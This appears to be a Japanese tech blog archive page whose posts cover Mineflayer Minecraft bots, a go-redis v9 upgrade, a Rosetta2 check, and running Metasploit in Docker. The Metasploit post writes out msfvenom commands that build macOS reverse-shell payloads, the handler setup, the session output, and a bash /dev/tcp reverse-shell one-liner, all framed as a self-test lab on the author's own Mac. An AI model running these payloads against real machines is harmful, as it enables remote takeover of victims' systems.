2025年8月12日火曜日

Mineflayer で移動する際にブロックを置いたり壊したりして指定の座標までかならず来るようにする方法

Mineflayer で移動する際にブロックを置いたり壊したりして指定の座標までかならず来るようにする方法

概要

前回 mineflayer-pathfinder を使って指定の座標にボットが移動するような処理を追加しました
ただその際にZ座標などが高い場所だとボットがその下までしか来ないような状態でした
今回はボットにブロックを持たせて高いところでも足場を自分で配置して登ってくるような機能を追加してみます

環境

  • macOS 15.6
  • Minecraft 1.21.4
  • nodejs 22.15.1
  • mineflayer 4.31.0

lib/command/parser.js

comeoninv がチャットで使えるように追加します

class CommandParser {
  constructor(message) {
    this.message = message.trim();
    this.parts = this.message.split(/\s+/);
  }

  isMoveCommand() {
    return this.parts[0].toLowerCase() === "move";
  }

  isComeOnCommand() {
    return this.parts[0].toLowerCase() === "comeon";
  }

  isInventoryCommand() {
    return this.parts[0].toLowerCase() === "inv";
  }

  getArgs() {
    return this.parts.slice(1);
  }
}

module.exports = CommandParser;

lib/command/commands.js

comeOnCmd と inventoryCmd を追加しています

前者はプレイヤーの座標に移動してくれる新機能でこのコマンドはたとえプレイヤーが高い場所にいても自分で足場ブロックを配置したり壊したりして移動してきてくれます

後者の inventoryCmd はボットのインベントリの内容を確認することができるデバッグ用のコマンドです

ポイントは movements.allowParkour などの Movements の設定でこれを true にすることでパルクールしてくれたりジャンプして1マスしたにブロックを置いてどんどん上に上がってきたりする機能を追加することができます
他の機能は公式のドキュメントを参照してください

また足場ブロックは何でも OK ですが今回は3種類でフィルタしています
これはなくても OK ですが念の為入れています
足場ブロックとして許可しているブロックは「土」「丸石」「オークの原木」になります

const { goals, Movements } = require("mineflayer-pathfinder");
const mcDataLoader = require("minecraft-data");

function moveCmd(bot, username, args) {
  if (args.length < 3) {
    bot.chat(`Usage: move <x> <y> <z>`);
    return;
  }

  const [x, y, z] = args.map(Number);
  if ([x, y, z].some(isNaN)) {
    bot.chat("座標は数値で指定してください");
    return;
  }

  bot.chat(`${username} の指示で (${x}, ${y}, ${z}) に移動します`);
  bot.pathfinder.setGoal(new goals.GoalBlock(x, y, z));
}

function comeOnCmd(bot, username) {
  const player = bot.players[username]?.entity;
  if (!player) {
    bot.chat(`プレイヤー ${username} が見つかりません`);
    return;
  }

  const mcData = mcDataLoader(bot.version);
  const movements = new Movements(bot, mcData);

  // 足場設置を許可(ジャンプしてブロックを置く)
  movements.allowParkour = true; // ジャンプ移動許可
  movements.allow1by1towers = true; // 垂直ジャンプブロック置き許可
  movements.canDig = true; // 必要なら掘削許可
  movements.scafoldingBlocks = getScaffoldBlocks(bot, mcData);

  bot.pathfinder.setMovements(movements);

  // プレイヤーの目の前をゴールに
  const pos = player.position.clone();
  const dx = Math.round(Math.cos(player.yaw));
  const dz = Math.round(Math.sin(player.yaw));
  const targetPos = pos.offset(dx, 0, dz);

  bot.chat(`${username} の所に行きます!`);
  bot.pathfinder.setGoal(
    new goals.GoalBlock(targetPos.x, targetPos.y, targetPos.z),
  );
}

// 手持ちの足場ブロックを取得
function getScaffoldBlocks(bot, mcData) {
  const usableItemIds = [
    mcData.itemsByName.dirt.id,
    mcData.itemsByName.cobblestone.id,
    mcData.itemsByName.sand.id,
  ];
  // console.log("usableItemIds:", usableItemIds);

  return bot.inventory
    .items()
    .filter((item) => usableItemIds.includes(item.type))
    .map((item) => item.type);
}

function inventoryCmd(bot, username) {
  const items = bot.inventory.items();
  if (items.length === 0) {
    bot.chat(`${username}、インベントリは空です。`);
    return;
  }
  const itemList = items
    .map((item) => `${item.count}x${item.name}(${item.type})`)
    .join(", ");
  bot.chat(`${username} の所持品: ${itemList}`);
}

module.exports = { moveCmd, comeOnCmd, inventoryCmd };

index.js

メイン部分です
comeOnCmd と inventoryCmd の処理を追加しています

const mineflayer = require("mineflayer");
const { pathfinder, Movements } = require("mineflayer-pathfinder");
const CommandParser = require("./lib/command/parser");
const { moveCmd, comeOnCmd, inventoryCmd } = require("./lib/command/commands");

class MinecraftBot {
  constructor(host, port, username) {
    this.bot = mineflayer.createBot({
      host,
      port,
      username,
      version: false,
    });

    this.bot.loadPlugin(pathfinder);
    this.registerEvents();
  }

  registerEvents() {
    this.bot.once("spawn", () => this.onSpawn());
    this.bot.on("chat", (username, message) => this.onChat(username, message));
    this.bot.on("kicked", (reason) =>
      console.error("キックされました:", reason),
    );
    this.bot.on("error", (err) => console.error("エラー:", err));
    this.bot.on("end", () => console.log("Bot が切断されました"));
  }

  onSpawn() {
    console.log("Bot がログインしました!");
    this.bot.chat("こんにちは!Botクラスです!");

    const defaultMovements = new Movements(this.bot, this.bot.registry);
    this.bot.pathfinder.setMovements(defaultMovements);
  }

  onChat(username, message) {
    if (username === this.bot.username) return;
    console.log(`[${username}]: ${message}`);

    const parser = new CommandParser(message);

    if (parser.isMoveCommand()) {
      moveCmd(this.bot, username, parser.getArgs());
    } else if (parser.isComeOnCommand()) {
      comeOnCmd(this.bot, username);
    } else if (parser.isInventoryCommand()) {
      inventoryCmd(this.bot, username);
    }
  }

  sendChat(text) {
    this.bot.chat(text);
  }
}

const myBot = new MinecraftBot("localhost", 25565, "bot");

動作確認

ボットを参加させチャットに comeon と入力してみましょう
動きを見るとわかりますが垂直ブロック置きしていることがわかります
しかし安定はしないようでブロックが置けていないときがあり何度かリトライしているようです
この辺り安定するように修正が必要そうです

ボットが足場ブロックを持っていないといけないので持っていない場合はコマンドなどで持たせましょう

  • /give bot minecraft:dirt 64

最後に

mineflayer を使ってボットを移動する際に足場ブロックを使って自力で指定の場所に移動するようにしてみました
ブロックを壊すアイテム(ピッケルやシャベル)を持たせると来る途中にあるブロックも壊して来てくれます

参考サイト

2025年8月11日月曜日

Mineflayer で指定の座標にボットを移動する方法

Mineflayer で指定の座標にボットを移動する方法

概要

前回ボットの開発に必要なベースとなるクラスを作成しました
今回は実際に機能を追加していきます
ボットへは基本的にチャット経由で命令するのが一番簡単なのでチャットで特定のコマンドを実行するとボットが指定した座標に移動する機能を追加してみます

環境

  • macOS 15.6
  • Minecraft 1.21.4
  • nodejs 22.15.1
  • mineflayer 4.31.0

コーディング方針

  • チャットメッセージをパースしてどのコマンド化判定するクラスを作成 (lib/command/parse.js)
  • 実際にボットに命令する処理を管理するファイル (lib/command/commands.js)
  • メインファイル (index.js)

という感じで今のうちに管理しやすいようにファイルに分割しておきます

ライブラリインストール

追加で pathfinder というプラグインをインストールします

  • npm install mineflayer-pathfinder

lib/command/parser.js

チャットの内容を受取りスペースで分割します
最初の引数とそれ以降の引数を取得できるようにします

class CommandParser {
  constructor(message) {
    this.message = message.trim();
    this.parts = this.message.split(/\s+/);
  }

  isMoveCommand() {
    return this.parts[0].toLowerCase() === "move";
  }

  getArgs() {
    return this.parts.slice(1);
  }
}

module.exports = CommandParser;

lib/command/commands.js

実際に bot に命令する関数を管理します
pathfinder を使って実際にボットを動かす処理は bot.pathfinder.setGoal(new goals.GoalBlock(x, y, z)); になります

const { goals } = require("mineflayer-pathfinder");

function moveCmd(bot, username, args) {
  if (args.length < 3) {
    bot.chat(`Usage: move <x> <y> <z>`);
    return;
  }

  const [x, y, z] = args.map(Number);
  if ([x, y, z].some(isNaN)) {
    bot.chat("座標は数値で指定してください");
    return;
  }

  bot.chat(`${username} の指示で (${x}, ${y}, ${z}) に移動します`);
  bot.pathfinder.setGoal(new goals.GoalBlock(x, y, z));
}

module.exports = { moveCmd };

index.js

メイン部分です
分割したファイルを読み込んで使う感じになります

const mineflayer = require("mineflayer");
const { pathfinder, Movements } = require("mineflayer-pathfinder");
const CommandParser = require("./lib/command/parser");
const { moveCmd } = require("./lib/command/commands");

class MinecraftBot {
  constructor(host, port, username) {
    this.bot = mineflayer.createBot({
      host,
      port,
      username,
      version: false,
    });

    this.bot.loadPlugin(pathfinder);
    this.registerEvents();
  }

  registerEvents() {
    this.bot.once("spawn", () => this.onSpawn());
    this.bot.on("chat", (username, message) => this.onChat(username, message));
    this.bot.on("kicked", (reason) =>
      console.error("キックされました:", reason),
    );
    this.bot.on("error", (err) => console.error("エラー:", err));
    this.bot.on("end", () => console.log("Bot が切断されました"));
  }

  onSpawn() {
    console.log("Bot がログインしました!");
    this.bot.chat("こんにちは!Botクラスです!");

    const defaultMovements = new Movements(this.bot, this.bot.registry);
    this.bot.pathfinder.setMovements(defaultMovements);
  }

  onChat(username, message) {
    if (username === this.bot.username) return;
    console.log(`[${username}]: ${message}`);

    const parser = new CommandParser(message);

    if (parser.isMoveCommand()) {
      moveCmd(this.bot, username, parser.getArgs());
    }
  }

  sendChat(text) {
    this.bot.chat(text);
  }
}

const myBot = new MinecraftBot("localhost", 25565, "bot");

動作確認

チャットを開いて「move -631 10 534」のように入力してみましょう
スラッシュは不要なので注意してください

最後に

Mineflayer で実際にボットに命令する第一弾としてボットを指定の座標に移動する機能を追加してみました
ワープではなく実際に歩いて移動してくるので Z 座標が高い場合で登ることが不可能な場合には Z 軸まではたどり着けません

参考サイト

2025年8月10日日曜日

mineflayer の createBot をクラスを使って定義する

mineflayer の createBot をクラスを使って定義する

概要

前回紹介したコードをクラスを使って再定義します

環境

  • macOS 15.6
  • Minecraft 1.21.4
  • nodejs 22.15.1
  • mineflayer 4.31.0

サンプルコード

  • vim test.js
const mineflayer = require("mineflayer");

class MinecraftBot {
  constructor(host, port, username) {
    this.bot = mineflayer.createBot({
      host,
      port,
      username,
      version: false,
    });

    this.registerEvents();
  }

  registerEvents() {
    this.bot.on("spawn", () => this.onSpawn());
    this.bot.on("chat", (username, message) => this.onChat(username, message));
    this.bot.on("error", (err) => console.error("エラー:", err));
    this.bot.on("end", () => console.log("Bot が切断されました"));
  }

  onSpawn() {
    console.log("Bot がログインしました!");
    this.bot.chat("こんにちは!Botクラスです!");
  }

  onChat(username, message) {
    if (username === this.bot.username) return; // 自分の発言は無視
    console.log(`[${username}]: ${message}`);

    if (message === "ping") {
      this.bot.chat("pong!");
    }
  }

  sendChat(text) {
    this.bot.chat(text);
  }
}

// Bot インスタンス作成
const myBot = new MinecraftBot("localhost", 25565, "bot");

動作確認

  • npx node test.js

でボットが参加することを確認しましょう

TypeError: Cannot read properties of null (reading 'version') が出る場合は mineflayer とマイクラのバージョンを確認しましょう

npm fund や npm audit fix をするとバージョンが下がったりしてエラーになることがあるのでその場合は再度インストールし直しましょう

  • rm -rf node_moduels/
  • npm i

最後に

次回以降はこのクラスを元に機能を追加していきます

参考サイト

2025年8月9日土曜日

Mineflayer 超入門

Mineflayer 超入門

概要

Mineflayer はマイクラのボットを作成できるライブラリです
今回はとりあえずボットを参加させるところまでやってみました

なお

環境

  • macOS 15.6
  • Minecraft 1.21.4
  • nodejs 22.15.1
  • mineflayer 4.31.0

注意点

執筆時点でのマイクラの最新バージョンは 1.21.8 ですが mineflayer 4.31.0 では 1.21.4 までしか動作しないため注意してください

マイクラの起動と公開

マイクラを起動したら設定からLANの公開に移動します
ポートは25565にします
あとは「LANワールドを公開」でOKです

ボットの作成

まずはライブラリをインストールします

  • echo 'v22.15.1' > .nvmrc
  • npm init -y
  • npm install mineflayer

準備できたらボットを書いていきます
とりあえず今回はワールドに参加しチャットのやり取りが行えるボットを作成します

  • vim test.js
const mineflayer = require("mineflayer");

// Bot の設定
const bot = mineflayer.createBot({
  host: "localhost", // Minecraft サーバーの IP またはホスト名
  port: 25565, // サーバーポート(デフォルト 25565)
  username: "My_First_Bot", // オフラインモードなら自由、オンラインモードなら Mojang/Microsoft アカウントが必要
  version: false, // サーバーのバージョン(false なら自動検出)
});

// ログイン時
bot.on("spawn", () => {
  console.log("Bot がログインしました!");
  bot.chat("こんにちは!Bot君です!");
});

// チャット受信時
bot.on("chat", (username, message) => {
  console.log(`[${username}]: ${message}`);
  if (username === bot.username) return; // 自分の発言は無視

  if (message === "ping") {
    bot.chat("pong!");
  }
});

// エラーや終了時
bot.on("error", (err) => console.log("エラー:", err));
bot.on("end", () => console.log("Bot が切断されました"));

動作確認

マイクラが起動した状態でボットを起動します

  • node test.js

これでボットが参加しチャット欄に「ping」と送信すると「pong」が返ってくることが確認できます

最後に

mineflayer を使って簡単なボットを作成してみました
そのうち最新のマイクラまでバージョン追従すると思いますが現状では 1.21.4 までしか動きませんでした

今回は JavaEdition のマイクラを LAN に公開してボットを参加させましたがマイクラサーバでも同じ手順で参加させることができるのですでにサーバがある場合にはそれを使っても OK です

次回以降はこのボットにいろいろな機能をつけていきたいと思います

参考サイト

2025年8月5日火曜日

go-redis を v9 にアップグレードする方法

go-redis を v9 にアップグレードする方法

概要

v9 からインストール時のパスが変わっているので go get -u などしてもアップグレードされません
直接 go.mod ファイルなどを編集することでアップグレードできます

環境

  • macOS 15.5
  • golang 1.24.5
  • go-redis 9.11

go-redis v9 のインストール

  • go get github.com/redis/go-redis/v9

go-redis v6 のアンインストール

  • vim go.mod
require (
	github.com/beego/beego/v2 v2.3.8
	github.com/stretchr/testify v1.10.0
	golang.org/x/crypto v0.40.0
)

もともとあった github.com/go-redis/redis v6.15.9+incompatible の行を削除します

コード内の import 文の修正

"github.com/go-redis/redis"

の箇所を

"github.com/redis/go-redis/v9"

に書き換えます

コードの修正

以下主な修正点を紹介します
基本的には各メソッドで何かしらのコンテキストを受け取る形式になっているのでそこを修正します

  • context の import
import (
	"context"
	"github.com/redis/go-redis/v9"
)
  • インタフェースの修正
type RedisClient interface {
	LRange(ctx context.Context, key string, start, stop int64) *redis.StringSliceCmd
	LPush(ctx context.Context, key string, values ...interface{}) *redis.IntCmd
	Del(ctx context.Context, keys ...string) *redis.IntCmd
	Get(ctx context.Context, key string) *redis.StringCmd
	Set(ctx context.Context, key string, value interface{}, expiration time.Duration) *redis.StatusCmd
	Close() error
}
  • 各メソッドの修正
ctx := mc.Ctx.Request.Context()
ret, err := cli.Del(ctx, key).Result()
  • テスト用のモックの修正
func (m *MockRedisClient) Del(ctx context.Context, keys ...string) *redis.IntCmd {
	for _, key := range keys {
		delete(m.data, key)
	}
	return redis.NewIntResult(1, nil)
}

動作確認

あとはテストなどを実行すれば OK です

  • go fmt ./...
  • go test ./...
  • go build

最後に

golang の場合非互換のバージョンアップがある場合は新規にパスを切るケースがほとんどなどでそれを知らずに放置しておくと最新バージョンからかなり遅れることになってしまいます
パスを新しくしたらあとは go get -u && go mod tidy でバージョンアップすることができます

参考サイト

2025年8月2日土曜日

AppleSillicon の macOS に Rosetta2 がインストールされているか確認する方法

AppleSillicon の macOS に Rosetta2 がインストールされているか確認する方法

概要

CLI で確認します

環境

  • macOS 15.5

コマンド

  • pkgutil --pkg-info com.apple.pkg.RosettaUpdateAuto
package-id: com.apple.pkg.RosettaUpdateAuto
version: 1.0.0.0.1.1746349326
volume: /
location: /
install-time: 1747692711

動作確認

  • arch -x86_64 /usr/bin/true

でエラーにならなければ OK です

最後に

基本はインストールされているはずです

2025年8月1日金曜日

Metasploit を docker 上で動作させる方法

Metasploit を docker 上で動作させる方法

概要

過去に Mac 上に Metasploit をインストールして使ってみました
どうやら docker でも動かせるので docker 上で Metasploit を試してみました
今回はお試しなので過去に試したリバースシェルを docker でやってみます

環境

  • macOS 15.5
  • docker 28.3.2
  • metasploit v6.4.0-dev

Metasploit (msfconsole) の起動

  • docker run --rm -it --name metasploit -p 4444:4444 metasploitframework/metasploit-framework

リバースシェル用の macho ファイルの作成

先ほど起動したコンテナ上で msfvenom コマンドが使えるのでそれを使って作成します
msfvenom コマンドは PATH に通っていないのでフルパスで指定し実行します
192.168.1.100 は Mac のホストの IP アドレスです

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/meterpreter_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload.macho

コンテナ上に保存した payload.macho ファイルをホスト側の Mac にコピーします

  • docker cp metasploit:/home/msf/payload.macho .

リバースシェルの待受をする

msfconsole が起動しているコンテナ上で実行します

  • use exploit/multi/handler
  • set payload osx/x64/meterpreter_reverse_tcp
  • set LHOST 0.0.0.0
  • set LPORT 4444
  • exploit

実際のコンソール上では以下のようになります

msf6 > use exploit/multi/handler
[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set payload osx/x64/meterpreter_reverse_tcp
payload => osx/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > set LHOST 0.0.0.0
LHOST => 0.0.0.0
msf6 exploit(multi/handler) > set LPORT 4444
LPORT => 4444
msf6 exploit(multi/handler) > 
msf6 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 0.0.0.0:4444 

ホストマシン上で macho ファイルの実行

あとは Mac 上で payload.macho ファイルを実行すれば OK です
msfconsole で起動したハンドラ側で操作できることを確認します

  • chmod +x ./payload.macho
  • ./payload.macho

msfconsole 側では meterpreter が起動し専用のコマンドが起動できるようになります

[*] Meterpreter session 2 opened (172.17.0.2:4444 -> 192.168.65.1:51203) at 2025-07-29 01:39:02 +0000

meterpreter > sysinfo
Computer     : mymac.local
OS           :  (macOS 15.5.-1)
Architecture : x64
BuildTuple   : x86_64-apple-darwin
Meterpreter  : x64/osx

最後に

Metasploit を docker 上で起動してみました

Metasploit を macOS 上で動かす場合には Homebrew でインストールすることも出来ますが非推奨のインストール方法らしくまた実際に Homebrew でインストールすると sudo: sorry, you are not allowed to preserve the environment になりインストールできませんでした
なので可能な限り docker や公式のインストール手順を使ってインストールしましょう

セキュリティ的な観点からも docker で動かすほうがいいのかもしれません

おまけ: リバースシェルの中身

macho ファイルはバイナリですが sh は普通に中身を確認できます

bash -c '0<&143-;exec 143<>/dev/tcp/192.168.100.2/4444;sh <&143 >&143 2>&143'

簡単に説明すると

  • ファイルディスクリプタ 143 を標準入力(fd 0)に割り当て
  • /dev/tcp/ホスト/ポート を読み書き(双方向)で開き、ファイルディスクリプタ 143 に割り当て
  • sh(シェル)を起動し、その stdin, stdout, stderr をすべて fd 143 に接続

fd が 143 なのに深い意味はなく単純に使用されていないであろう大きめの番号を指定しているだけだと思われます

おまけ2: meterpreter ではなく nc で待ち受ける方法

今回はリバースシェル作成時にペイロード osx/x64/meterpreter_reverse_tcp を指定しましたがこれは待ち受け側が meterpreter であることを前提にしたリバースシェルになります
もし meterpreter を使わず nc を使って待ち受ける場合ペイロード osx/x64/shell_reverse_tcp を使って msfvenom を使ってリバースシェルを作成します

  • /usr/src/metasploit-framework/msfvenom -p osx/x64/shell_reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f macho -o /home/msf/payload2.macho

これを Mac 側に持っていき

  • chmod +x payload2.macho
  • ./payload2.macho

で起動し

  • nc -lv 4444

で待ち受けすることでシェルを実行できるようになります

参考サイト